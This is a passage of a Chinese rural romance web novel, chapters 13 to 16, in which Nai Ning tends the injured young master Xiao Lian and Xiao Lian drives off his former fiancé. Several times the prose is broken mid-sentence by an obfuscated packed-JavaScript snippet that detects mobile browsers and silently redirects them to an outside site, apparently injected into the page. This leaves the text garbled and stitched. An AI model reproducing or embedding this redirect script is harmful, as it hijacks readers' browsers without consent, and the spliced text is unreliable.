大少爷真的很好。 从第一天看到他就觉得他身上亮亮的,现在亦是如此。 他快步走上去,接过大少爷手里的水桶,放到一边,又抬起头手来,给大少爷擦了擦额角的汗。 萧练看着小哥儿满脸的笑容,脸微微侧过一边,耳尖不知不觉又红了。 他腿受伤,弃了拐杖站都站不了,更别说挖地。 鸡也喂了,原本没理由来这边,想想种菜好像要浇水,提着一桶水就过来了。 这水来对了,萧练心中抑制不住得意,嘴角弯起来又用力压下去。 “怎么不戴斗笠?”小哥儿嗔了声,把脑袋上的斗笠扣到他头上:“以后在太阳底下干活要戴斗笠,日头很毒的!” “你这么白,晒黑了怎么办?”奈宁歪了歪脑袋:“这么白这么俊,黑了可不好看了。” 萧练:“……” 他默默回工具房,又拿了个斗笠出来,扣在小哥儿脑袋上。 奈宁默默拎着菜,当做没看到,嘴角弯了弯。一低头,斗笠啪叽一下掉到地上。 萧练人都傻了,低头看着斗笠,一抬头小哥儿幽怨地瞪着他,似在埋怨他斗笠都戴不好。 伸手去捡时,奈宁又先他一步捡起来:“快去坐着吧,别走来走去了,你腿就不酸么?” 只有一只脚用力走路,应该也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749389|174266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是挺难受的。奈宁曾经拐到脚,踮起一只脚走两天,另一只酸痛得不行。 要不晚上给大少爷打盘热水,给他好腿揉揉脚? 如此想着奈宁眉眼弯了弯,继续淋菜。 还要种些花生,还有各种豆子,最紧要的就是绿豆了,红豆黄豆黑豆什么的都是其次。 种些黄豆也好,可以做豆豉。 前院后院,空地都挺大,他还想种些菜来卖。就是粪肥不够,到时可能要出去捡粪。 后院这边原本就有口井,养了鸡就要小心些,用盖盖着。 几垄小地,种点小菜,很快完事,还是得防鸡,怕它们翻开泥土把种子给翻出来吃了。 村子里的鸡大多散养,如今这院子它们都没熟悉,更别提放出去。最好就是能立围栏,挡住它们,不给进菜园里去。 有人在时放它们出来走走,没人在将它们关在鸡圈也没事。 养几日它们自己就能熟悉家里。 奈宁收拾好工具回去,远远就闻到一股香甜味儿,大少爷在灶房里,刚舀出两碗粥,端到桌上。 奈宁好笑道:“又是糖粥!” 看到他喜欢,大少爷一言不发就是煮。 家里热水烧好了,饭开始煮,菜洗好了。 看他吃完了一碗糖粥,碗底也舔了。 大少爷嘴角起一点浅笑,低声道:“你可先洗澡,一会我炒菜。” 奈宁觉得自己也要有所作为,给大少爷换完草药之后再给他泡泡热水,捏一捏好腿的筋骨。 然而他在橱柜里没找着酒坛,自己房间也没有,转身走进大少爷的房间。 先探出一颗脑袋,果然,酒坛就摆在大少爷床边! 大少爷正给自己的伤腿缠麻布,抬头看到他,手脚都快了许多。 很快缠好打结,将衣服整理好,腿收起来,半点不露。 奈宁走过来,萧练不自然道:“我自己可以给自己换药了,你不必麻烦。” 前两日还要死要活的大少爷,就知道给自己换药了。 奈宁心中满是欢喜,笑道:“好啊!” 转身就出了房。 萧练呆呆坐在那里,说不出哪里不对,就不太对,拧着眉头闷闷的,不知做啥。 莫名有些后悔,自己给自己包扎了。 不一会,奈宁提了一桶热水进去,摆在床边。 撸起袖子,娴熟地抱起大少爷的脚。 萧练:“……” 13. 第 13 章 这会抱的不是受伤的腿,是好的那条。 奈宁道:“你天天拄着拐走,这条腿也会疼,我帮你松一松筋骨吧。” 萧练张了张嘴,拒绝的话怎么也没能说出口 全身的重量都压在一条好腿上,怎会不酸疼。 每天走完路都酸得要命,还是第一次有人关心到他另一条腿。 原本看到了去而复返的小哥儿,嘴角就忍不住翘起来。 此时此刻更不晓得如何表达自己的情绪,萧练低下头,抿了抿唇,压住了原本有些向上的唇角。 大少爷卧床不久,身子骨还算硬朗,完好的那条腿,大腿小腿都挺结实。 奈宁抱在自己腿上,将大少爷裤管卷得高高的,一寸一寸地按揉,他力道不大,只有舒服没有痛。 小哥儿指腹有茧,但落在腿上轻轻柔柔的,舒服得萧练头皮发麻,忘了伦理纲常,靠在床头,有些昏昏欲睡,眼睛要合不合,一直看着旁边垂头认真给他按腿的小哥儿,单薄瘦小,又好乖巧。 看得出神,嘴角不知不觉又弯起来。 下一瞬,他笑容倏地一收,脸色一黑。 按腿就按腿,为何忽然摸到腿根! 萧练忙拨开他的手,一张俊脸烧得通红:“这里不必揉!” 奈宁道:“痛么?” 萧练:“不痛。” 奈宁仰着脑袋天真道:“再揉一会就泡热水了,你忍忍。” 根本不能忍,萧练忙拉过他的手:“不,不必揉这里!” 都碰到了! 奈宁看他脸蛋烧得通红的样子,笑得眉眼弯弯,又凑过来亲了他一口,低低发笑。 萧练:“……” 怎么感觉他是故意的! 大少爷大窘。 奈宁道:“好了,我不乱摸。” 这一会他真老实了,不老实能怎么办,大少爷脸蛋都要烧成猴屁股了,再红一点恐怕要一头撞死。 他抱着大少爷的腿,还是给大少爷松大腿,只是没那么近根部。 但他已经打草惊蛇了,稍稍近一些,大少爷就吓得一个激灵,忙回护。 逗得奈宁直笑。 奈宁揉得手腕都酸了,这才将大少爷的腿放到热水里,又拖了个小凳子轻轻地给他揉搓。 热水一烫,萧练浑身都跟着一颤,舒服得到灵盖去。 小哥儿的手沾了热水,又将他的腿从脚底板撸到大腿根…… 每一次摸上来他都要别扭一下,生怕剑走偏锋。 人家正正经经,他又不好多说什么。 等水快凉了,奈宁将绵巾拧干,给大少爷擦干腿,笑盈盈道:“舒服么?” 萧练愣了愣神,他十四五岁时的衣服穿在小哥儿身上都有些宽了,还只穿一件,小哥儿起身抬衣时,衣襟坠下,里头若隐若现。 萧练耳尖又红了,立刻偏开脸去,心想,应该给他换件小些的衣裳。 “明日我再来给你揉揉。”留下这句话,奈宁端着水出去了。 日子一天天过去,天气热得很,蘑菇竹笋都晒干了,奈宁清理出个空屋,将这些吃食都放进去,将来就不用都搬到堂屋了。 奈宁想着什么时候出门砍些竹子才好,他天天躲在萧练家也不是事,白日总要出去。 萧练家在村子边边,离奈家还有些距离,他就进竹林砍个竹子,应该不会被捉到。 打定主意,这日清晨,奈宁一大早出门去砍竹子。 不但戴了斗笠,还在斗笠上围了一圈纱布,将脸蛋遮掩住。从后门出,将门打开一丝缝,左顾右盼,小小心翼翼的探出脚来,整个人都暴露在门外时,迅速已经门关了,像个毛贼一般偷偷摸摸鬼鬼祟祟,一头扎入竹林。 在密密麻麻的竹林里面,挑了根翠绿的竹子砍,一开始都还没敢用力。 不用力实在砍不下来,越在外边拖延久就越有危险。 砍竹的声音大,像他做贼心虚的人,每一声都害怕。 好不容易砍断了一根,发现竹林太密,好难拖出来。 他傻了。 在出来的路上又砍了几根,这才一路通畅。 竹子沉重,他一次也只能拖那么一根,好不容易拖到家门口,累得直喘气。 还没开门,突然听到屋里有动静。 屋里有动静很正常,毕竟大少爷就在家,但大少爷是个安静的人,一个人独处的时候不会说话,这会屋里头有吵杂声音。 他一颗心都提了起来,直接想丢了竹子就跑,后来想一想,不对,不是他爹娘,若是他爹娘,都找上门了,肯定没有这么好声好气说话的。 也不知道是谁来寻大少爷了。 他立刻就想起之前听那些婶子们说的话,不会是大少爷的未婚夫郎找来了吧? 他莫名有些难过,身子发软,扶不稳竹子,将它放了下来。 若是大少爷的未婚夫郎找来了,那他怎么办? 他无名无份,难道还给大少爷做小么? 不知为什么,一如此想,他心里就是很不得劲。 大少爷到底是怎么想的? 如此想着,他轻轻推开门,他不但想知道大少爷怎么想的,还想要去看看大少爷的未婚夫郎长什么样。 更更想知道,对方来做什么。 房间前后两个窗,一个往前院开,一个往后院开。 奈宁悄悄摸到后窗,蹲在窗台下,不知是谁喝了声,房间里沉默了好久,终于传来一道柔软的声音。 “练哥哥,好久没见,你好些了么?” 奈宁竖起耳朵来,但好久都没有听到另外一道声音。 他忍不住伸长脖子,透过窗户的一点点缝隙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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然而让更为心惊的事发生了,他红着眼眶才喊了声练哥哥,练哥哥忽然站了起来! 这好比看到一个已死之人从坟墓里爬出来一般,叶舒文心里一跳。 当然他的练哥哥腿脚并没有好转,一把抄过旁边的拐,还有一个椅子,似鬼怪般拄着拐,举起椅子就冲过来,声音嘶哑喊道:“给我滚,全部滚出去,通通给我滚!” 他也不管他的腿好不好了,就这么拄着拐举着椅子去打人。 头发凌乱,衣冠不整,双目猩红,好癫狂好吓人。 叶舒文呆了一下,下一瞬看到兜头砸来的椅子,下意识一挡,手腕要断了那般痛。 这个练哥哥已经不是他认识的那个温和多情的练哥哥了,他惨叫一声,赶紧逃了。 其余人也有被打到的,哭爹喊娘地冲出房间去,有的不小心摔倒在地上,被多砸几下,屁滚尿流夺路而逃。 萧练一路追出去。 14. 第 14 章 奈宁听着声音好生担心,大少爷正常走路都不太稳,还举着椅子追人,但凡有人推一下,那条伤腿可怎么办? 他也顾不得隐藏了,猫猫祟祟从后院绕回来。 萧大少爷已经将人赶到门口。 一群人像被鬼追一样争先恐后的出了大门,跑出数米远,嘴里嚷嚷着:“疯了疯了,他疯了!” 一身雪白的大少爷拄着拐,被远远的抛在后面。追到门口,他用力的将椅子砸了出去,冷声道:“谁敢再进来,我弄死谁,下次就不是椅了,我用刀!” 说着就要关门。 静寂已久的萧家门口,落了四五辆马车,围观着一群看热闹的人。 眼看那门就要闭合,俊美的脸庞再也看不到了,叶舒文就心如刀割。 他们以前多么郎情郎意。 虽然练哥哥一心只知道读书科举,但每次看到他的脸,想到这个男人是自己的未来夫君,心中就充满了遐想。 他设想过无数未来,他的练哥哥会是万中无一的状元郎,年少有为。 谁知道偏偏断了腿,同时也断了科举的前程。 想到一别就是永远,看着练哥哥那张熟悉又陌生的脸庞,叶舒文一步上前,又凄凄切切地喊了声:“练哥哥!” 门后的人抬起眼眸,英俊的脸庞被一片阴影笼罩着,看不清表情,看着越发冷得让人胆颤,吐出来的字似冰渣子:“你爹娘跟我说退亲时,你在何处,现在跟我装可怜?” 叶舒文一噎,到嘴的话忘了,脸上露出点尴尬,但很快恢复,从怀里掏出一张纸,柔声道:“练哥哥,这百两银子是我自己攒的私房钱,不是很多,但也是我能拿到的所有了,其余爹娘也不肯给我,希望这些银两可以帮你渡过难关。” 旁边萧家叔伯当即看向那张薄薄的纸。 “这一百两银子存在杨氏钱庄,只有你本人去才能取出。” 他想过去将纸递给萧练,走了两步又怕萧练再发疯,于是将纸折了几道,用力丢过去根本丢不了,又捡起来搓成一团,这才丢了进门。 萧练冷眼看着地上的纸,磨着后槽牙没有说话,没多久,砰的一声关了门。 等外面的声音散去,奈宁才敢上前来。 大少爷还站在门前,一条腿跛了,拄着拐,旁边落了一张被抓成一团的纸。 “你都看到了。”他的声音粗哑,这话像是问又不像问。 奈宁也没回答,将纸打了开来:“这上面写的什么呀?用这张纸真能换到钱么?” 奈宁不识字,翻来覆去都看不出这纸怎么就值银子。 萧练抿唇,拄着拐往屋里去了。 奈宁看着他的背影,怎么又伤到他了? 屋外,一群汉子追着个小哥儿:“舒文你别在意,他发了疯,我们萧家多的是好儿郎,你放开眼睛看看旁的地方,定有你如意郎君!” 叶舒文没说话,直接坐上了马车:“走。” “舒文舒文……” 那马车头也不回的走了。 这个地方他再也不会来了,他爹娘已经给他寻到了另一门亲事,也是个秀才,就是没有这么惊世绝才。 练哥哥以为他就不难过的吗?他比谁都难过,他的练哥哥就这么没有了! 萧家院子里,奈宁追了大少爷一路,一直回到房,大少爷一屁股坐在床上,脸扭向床肚。 奈宁纳闷道:“你干嘛不高兴?他给你银两,这不挺好吗?你的腿也有了钱治,这可是一两银子啊!” 大少爷震惊,偏过头来看着奈宁:“什么?” 奈宁捏着纸,轻轻晃了晃:“他不是给你留了一两银子么?” 大少爷好看的唇张了张,又不知道说什么。 一两?谁敢特意上门拿一两侮辱他! 他又瞥了一眼小哥儿满脸期待的笑容,不知为何,突然觉得这一笔钱也不是不能用。 若自己腿真不能好了,就把这笔钱取出来送给他吧,还有这座房子,也够他衣食无忧了。 如此想着,心里终于舒坦了些,哼了声将脸扭到一边去了。 奈宁:“?” 又怎么惹到他了? 刚才走得急,大少爷一双腿好像直接踩到地面去了。奈宁心中担忧,直接将大少爷的腿抱了过来。 大少爷脸上瞬间冰雪消融,生气也气不了,瞪了他一眼。 果然,大少爷的腿又流血了。奈宁轻轻叹息一声,出去收了干净的麻布,捣了新的药草,小心翼翼给大少爷敷药。 原本痛得要死的脚,被冰凉的药草敷得舒舒服服的,萧练靠在床头,眼眸半合,看着奈宁,昏昏欲睡。 刚才那些人进来,伤腿痛得他没脾气,另一条好腿也莫名发痛。 他都感觉自己要死了。 这一刻平静下来,痛还是痛的,但总觉得还可以忍受,不似那个时候,只想同归于尽。 小哥儿敷药动作好轻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749391|174266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根本就是一种享受,敷完他还帮揉揉腿,缓解痛楚。 不嫩但柔软的指腹落在完好的肌肤,似羽毛落在平淡无波的死水,舒服得头皮都在发麻。 萧练有些恍惚。 十几年的感情,都不如这个寥寥几面的小哥儿。他看着奈宁,有些呆了。 等奈宁敷完药揉完腿,抬头一看,大少爷眼眶都红了。目光对上,大少爷脸蛋偏过一旁,耳尖悄悄红了,不自然地低头抬头又偏过头。 奈宁冲他笑了笑。 大少爷越发不好意思,撇了撇嘴,脸蛋有点鼓鼓的,莫名可爱。 奈宁支着一边脑袋,心情颇好的看大少爷。 萧练眸光闪躲好一阵,终于还是扛不动了:“你想问什么?” 奈宁眼眸弯了弯,笑得甜甜的:“你跟他的婚约?” 大少爷瞬间变脸,吼道:“我跟他没有婚约!” 奈宁疑惑道:“你们不是定了亲?” 大少爷的脸黑得像乌云压顶,一双黑沉的眼睛死鱼一样瞪着他。 奈宁眼珠子这边转转,那边转转,好似又惹大少爷生气了! 他对着手指头,小心翼翼道:“我就问一下,你别这么凶嘛!” 大少爷磨着后槽牙,猩红的眼眶射出凶光,狠狠地将脸扭到一边,就是不说话。 这是真的气得狠了! 房间里冷落起来。 奈宁看着背对着自己的大少爷,从莫名无措到生气,还越想越生气,莫名其妙就被凶了,有话就不能好好说么,刚还帮他敷药揉腿了呢! 还说他乖呢! 奈宁突然站起来,一屁股坐在床边。动静好大,床榻一沉。 大少爷心头一跳,坐在那里一动不敢动,就一双眼睛挪到了眼角偷偷瞧。 一张不甚张扬的脸庞闯入眼帘,萧练呆呆地眨眨眼睛,下一瞬跪坐起来的小哥遥霸道地勾住脖子他脖子,他还没反应过来,那张清淡微白的唇压了下来。 萧练:“……” 他就知道。 他都见怪不怪了。 只是,可能还是太忽然,他的心跳不受控制地乱砸起来。 一口亲完,奈宁还是很生气,胸膛起伏,脸颊鼓鼓的,眉头拧巴着,咬牙切齿,狠狠地捧着大少爷的脸颊,像小鸡啄米一般又对着大少爷的唇又狠狠啄了几下。 最后一口含着大少爷的下唇,用了些力气咬了一口,咬得大少爷轻嘶一声。 15. 第 15 章 萧练用手背抹了抹唇:“你干嘛?” 小哥儿也不说话,瞪了他一眼,重重地哼了一声,甩手而去。 萧练摸着唇,舌尖舔了舔内侧的咬痕,怎么想怎么不是滋味,抄起拐,一跛一跛跟着走出房间。 奈宁走到后院,之前走得匆忙竹子就丢在外头,此刻鬼鬼祟祟探出个脑袋,看外面没有人,赶紧使劲将竹子拖回来。 不仅一根竹子,有好几根呢,每一次出门他都好害怕,拳头护在胸前,东张西望,像只出门觅食的小兔子一样。 确定没有人了,赶紧钻出去,跑到竹林拼命将竹子拖出来。 看他拖得出力,萧练走过去搭了把手。 之前还气冲冲的小哥儿眼睛亮了亮,惊喜道:“你敢出门了!” 萧练顿了顿,回头一看,这才发现自己不知不觉间就走出来了,完全发觉。 他抿了抿唇,没说什么,继续帮着小哥儿拖竹子。 除了竹子沉重之外,这地方倒是少有人来。 他力气是有的,就是站得不太稳。 奈宁每次都要担心他摔倒。 所有竹子拖完,大少爷完好无损,奈宁对他笑得甜甜的,情不自禁又冲他侧脸亲了一口:“谢谢!” 萧练尴尬地抹了抹脸颊上残留的湿意,喃喃道:“说谢也不必亲吧?” 奈宁脸胀得通红,转过身去,当做没听到。 一时没事做,看小哥儿修竹,萧练觉得出些趣意来,拄拐回工具房,也拿了把柴刀出来,刚要开门,又转头回去拿了两个斗笠。 奈宁原本坐在阴凉的地方,太阳偏移,阳光打在他脑门,额角沁出点点细小水珠,认真的修着竹子,忘了热。 一个斗笠轻轻地扣在了他脑门上,一抬头,映入眼帘的是大少爷那张漂亮的脸蛋。 他眨眨眼睛,手也不伸去系斗笠的带子。 两人对视一阵,看他还没有动作,大少爷艰难半蹲下来,抬手帮他系斗笠下面的带子。 奈宁仰起脸蛋,方便他操作,嘴角压制不住翘起来,眼睛弯弯的。 他就说大少爷好! 萧练垂着眼眸,一直不敢去看他的脸,眼睛看到脖颈下方一点点雪白,脸颊烫的通红,眼皮越发往下压。 衣服还是太大了,得给他换套。 想起之前小哥儿突然就将衣服脱下来,他脸蛋烧得更红。 哪有这种人,里衣都不穿! 大少爷不晓得,乡下人能有件衣服裹体就不错了,哪来的里衣外衣这么多讲究。 搬了个小凳子,萧练也跟着一块修竹子,从中间劈开,削成竹篾。 萧练第一次削竹篾,手指一不小心就被竹刺刺到。 小哥儿都毫无怨言,他更没道理吃不了苦,面无表情拔出刺来,有时手掌被锋利的竹篾割到,也是面无表情继续编。 还是奈宁看到他脸上神情的一点变化,过来捧着他的手给他包扎。 这还是萧大少爷第一次摸到小哥儿的手,心脏砰砰乱跳。 声音大得他好生尴尬,不会被小哥儿听到了吧? 包扎好了,奈宁看了看大少爷,大少爷拧着唇,一副很不开心的样子。 唉,真是难伺候。 奈宁道:“实在不行你就别削了,去休息吧。” 这双手长得这么好,白皙修长,骨节分明。他握着就像摸到玉一样,都不想它变得粗糙。 萧练看着自己被包扎得好好的掌心发呆,这感觉莫名,好久都没能忘记这只手被小哥儿包扎过。 也不知道晚上会不会再包扎一次? 削好的竹篾十字交叉编成网,口子大些又不能太大,不能给小鸡钻过去。 萧练看一眼奈宁怎么编就懂了,这玩意儿简单得很,只是做简单的围栏,又不做它用。 即使如此简单,每次目光对视上,奈宁都笑得眉眼弯弯,夸大少爷好棒。 萧练抿着嘴角,不知道这有什么好夸的。 这一天大少爷编竹篾编得有点废寝忘食,连奈宁要编都被他抢了过来。 叫他去吃饭,也要等手头工作忙完再去吃。 吃完饭一言不发又去编,这活儿才干一天,大少爷的手被割得伤痕累累,到夜间被奈宁强行拉去按揉腿,处理腿伤,又多了手上的伤口要处理。 还好手上的割伤涂些药就行。 萧练靠在床头,双眼微微眯着,编了一天竹子,双手火辣辣的疼,这会儿舒服得想睡觉。 他看到小哥儿手上也有些割伤,愣了愣,没说话,反手抓住小哥儿的手,低着头,学着人家给自己抹药的模样涂上药。 奈宁看大少爷,心里暖暖的,一开心又亲了过去。 “谢谢啊!” 萧练脸蛋烧得通红,眼皮都不敢抬起来,低声说:“不必,你也帮了我。” 奈宁笑道:“我知道今天大少爷故意抢我的活,就是担心我割到手!” 说得他自己心里都满足得像有水溢出来,眼眶都跟着湿润了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749392|174266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >怎么会有人对他这么好呢?好想现在就生米煮成熟饭。 萧练偷偷看了两次,越看越觉得小哥儿看自己的目光不对劲,怎么感觉想吃自己的样子? 伤口处理好了,萧练要抽开手,却被小哥儿拉住。 “大少爷?” 这声音甜腻得萧练耳根发麻,不太自然道:“嗯?” 小哥儿还要凑得更近些,衣服上的清新味道扑鼻而来,闻着香香软软的。 奈宁笑得眉眼弯弯。 靠得有点太近了,若有若无的呼吸打在脸庞上,萧练脸上烫得越发厉害,不知如何是好,谁知小哥儿还要凑得更近些,还对他脸颊送了一口气。 萧练微微缩了缩,但没有躲,还坐在那里,眼睛看着奈宁薄薄的唇,心跳莫名,心知定会说出些什么不太妙的话,却又想听一听。 直到小哥儿说了一句。 “我来给你侍寝吧?” 说着在他脸颊上吧唧一下又亲了一口,大眼睛眨巴眨巴看着他。 “好不好啊?” 说话乖乖甜甜,好像在讨一颗糖吃。 一开始萧练还没有反应过来,直到小哥儿开开心心地过来扒拉他的衣襟。 触碰到胸膛的手有些凉,萧练怪叫一声:“不不不必,我自己来就好,我自己来就好!” 最后一句几乎是吼出来的。 “好吧。”奈宁眨了眨眼睛,乖乖收回手,脱了鞋子,很快钻进了大少爷的被窝里。 萧练看着他的动作,人都麻了。 薄薄的被单里面蛄蛹两下,一件衣服被脱了出来放在一旁,之后又一件,接着被单张开一个角,露出一颗毛茸茸的脑袋,漆黑的里面一片晃眼的白:“大少爷快来睡觉吧!” 那衣服拿出来的时候,萧练下意识伸手去接,先是接到一件上衣,接着是条裤,反应过来里面发生了什么,一张俊脸烧到耳根。 所以一身衣服就这么脱完了! 萧练莫名头疼,支着脑门。 之前跟他说父母之命媒妁之言,他是半点都没听! 一只瘦弱的手腕从被子里伸出来,揪了揪他的衣摆:“大少爷?” 漆黑被窝里头那双眼睛懵懵懂懂,手指不安分,一路悄悄蹭过来,拉住了萧练的手。 大少爷看着单薄,掌心却是宽厚,小哥儿的手细了一大圈,有些粗糙,只有骨头没什么肉。 萧练喉头艰涩:“我、我去熄灯!” 说罢猛地抽回了手,人也落荒而逃。 16. 第 16 章 灯熄了,去熄灯的人一去不复返。 奈宁躺在床上依然想不明白,不是说男人都很乐意的吗? 他都脱成这样子,为什么大少爷还要跑呢? 什么时候才能生米煮成熟饭呢? 这一晚他苦恼极了,入睡前一直都想着这件事,不过他脑袋一歪就睡过去了。 大少爷睡的床真的好舒服,香香的,又软和又宽大。 他又把人家的床给占了,半点都没有愧疚心,也不去管大少爷晚上到底会在哪里睡觉。 早上起来,饭跟菜都煮好了。 奈宁不想理大少爷,就算在桌子上吃饭,身子也要扭到一边。 大少爷吃得斯斯文文,看他几眼,欲言又止。 奈宁却很快将一碗饭扒拉完,砰地一下放下碗筷,走了。 不过很快给他发现一件开心的事,前两日抱回来的母鸡下蛋了! 他用竹叶跟稻草搭的窝,母鸡窝在里面,不一会儿咯咯咯咯的叫。 等它走开了,奈宁探头一看,鸡窝里静静地窝着一枚小小鸡蛋。 萧练收了碗,正在琢磨怎么办。 他不就是说了句熄灯就跑出去了么,小哥儿就一个早上都不理他,他也没说要回去睡啊! 一扭头,小哥儿双手背在身后,满脸笑容过来了。 萧练都没发现自己嘴角也跟着上扬:“怎么了?” 奈宁开心道:“我们的鸡生蛋了!” 萧练也不知道一个小小鸡蛋,有什么值得这么开心。 但鸡蛋放在小哥儿手掌心,献宝那样双手捧着递到眼前时,他小心翼翼地捏起来:“有点小。” 修长的手指,被鸡蛋还白。 奈宁笑道:“初生蛋就是这样的。” 这一只鸡蛋被水煮了,掰成两半。 奈宁开心,小心翼翼地掰,蛋清白白嫩嫩,闻着香香的,之后掰蛋黄,粉粉糯糯的,一看就很好吃。 一人一半。 他拿过自己的那一半,美美地吃起来,蛋白清白,没什么味道。蛋黄却是软糯好吃,他掰碎了,一点一点吃,特别喜欢这种粉粉糯糯的味道。 萧练也很开心,小哥儿养的鸡生了蛋有他一半,应该不生他气了吧? 萧练也拿过自己那一半,吃了一口,有点腥,没什么味道,莫名有滋味。 看小哥儿吃蛋黄吃得这么开心,萧练把半个蛋黄拨了过去。 奈宁眨眨眼睛:“嗯?” 萧练道:“我不爱吃。” 一句话,把小哥儿乐得前后倒迎,把大少爷看得怔怔的,手指捏着蛋白,呆呆地看他。 奈宁笑了好一阵,认真道:“谢谢!” 可能感觉一句谢谢还不足以表达自己的开心,凑过去,嘴巴都没抹干净,在人脸颊上吧唧亲了一口。 奈宁也没有全部吃完,大少爷拨过来的半个蛋黄,他又分了一半给大少爷。 萧练随着他的模样一点一点吃,也眯了眯眼睛。 吃完饭萧练继续编竹篾,家里没菜了,奈宁背了个背篓,戴着斗笠蒙着脸,鬼鬼祟祟溜出去摘几把野菜。 萧家地儿本来就偏僻,占地大,后门就更偏僻了,除了小孩,很少有人来这里。 竹林旁边有道小溪,最近的菜都是在那薅的,蒲公英,马齿苋,车前草,白花菜,灰灰菜,长得好茂盛。 就是吃得命好苦。 大少爷跟着他这么一天天的吃,没有半点怨言。 想到大少爷,奈宁就忍不住弯了弯眉眼,原本就一半的蛋黄,他竟还要给自己。 谁说大少爷像鬼了,他说大少爷温柔善良! 乡下不怎么吃野菜,但也会割来喂猪喂牛,一般都是小孩子出来割,茂密的草大多被他们割了,但他们不会到深水的地方去割。 在水泽里面就长许多马齿苋,奈宁卷起裤脚踩进去,溪水清晰冰凉,一脚泥泞。 马齿苋好肥好大,割猪草的时候最喜欢这样的马齿菜了,没一会就能割到一大篓。 但人要吃嫩一些的,他割了上面尖尖,太下面在水面的不要,泡在水里容易长蚂蟥。 之后就着旁边的清水随便洗了洗,都丢背篓里,回去再细细处理。 天天吃马齿苋也不行,他不能让大少爷日日受这罪。 这里没有人,加上自己又戴上了面纱,奈宁胆子也大了些。 沿着小溪一路走,没多久,被他寻到了一片白花菜,又肥又茂盛,奈宁摘了一大抱尖儿。 这白花菜叶滚鸡蛋汤,特别好吃。 之后又钻到竹林里,拨了几根笋。 溪水的泥泞地经常会有田螺,他又折回去摸了几个,还摸到几个河蚌,再往深水一点的地方摸,摸到的河蚌一个比一个肥。 河蚌若没有重料压,吃起来泥腥味很重。 但现在他们刚好有重料,就是没有肉,而且河蚌田螺都可以剁来喂鸡。 鸡正是下蛋时,吃了肉会下双黄蛋。 每摸到一个,他都开心得弯了弯眉眼。 回去路上看到有荠菜,又挖了几棵,还捡了不少干草树枝回去烧。 烧火要用草来引火,大少爷刚开始学做饭,烧柴艰难,费草多了些。 萧练在家里编竹网,编得心不在焉,时而在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749393|174266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想小哥儿出去这么久还没回来,不会发生什么事吧? 莫名又想起昨晚,小哥儿凑过来时那股若隐若现的幽香。 一幕幕在脑海中挥之不去,又看看后门又想想昨晚,一时坐立难安,索性也不编了,起身,又看了眼后门,最后进了房。 东挖西挖,被他挖出了四枚香皂。 用小小的木盒装着,还没用过,每一枚都有独特的香味。 他闻了闻觉得挺不错,小哥儿应该会喜欢。 萧练将香皂揣在怀里,拄着拐出门,打算这就送给他。 站在后门前,他还有一些愣怔,将手放在门把上将门拉开,终于也是敢打开后门出去了。 外面的阳光投射进来,清风徐来,竹林婆娑,他莫名有点释怀。 后门刚打开,脚步才迈出去,满脸热汗的小哥儿抱着一大把柴草出现在视野里。 奈宁看到大少爷,脸上全是惊喜,萧条的青砖房伫立着个谪仙似的少年,还是在迎接自己,怎叫人不开心。 奈宁赶紧走快了两步:“你怎么出来了?” 萧练一哽,一时不知作何回答,默默过去帮他卸背上的背篓。 至于柴火,奈宁也不用他帮,一进门除了面纱,兴冲冲抱着柴草进了灶房。 萧练提着沉重的背篓跟在他后头。 没有多少干草的灶房一下子又堆得满满的,奈宁心头畅快,一回头看到大少爷,心里越发开心,冲他笑得甜甜的:“放外头就好,不必提进来。” 背篓还滴水呢,淌了一路。 萧练脸颊微红,下意识就跟着进来了。 奈宁接过背篓,将里面的东西一一捡出来。 萧练眼睛又跟着小哥儿湿透的后背走。 每捡出一样东西,奈宁兴奋地介绍:“河蚌田螺,我们也是有肉吃啦!” “这河蚌田螺,还得泡泡水吐吐泥。”边说边四处去寻盆子,将河蚌田螺泡在里面。 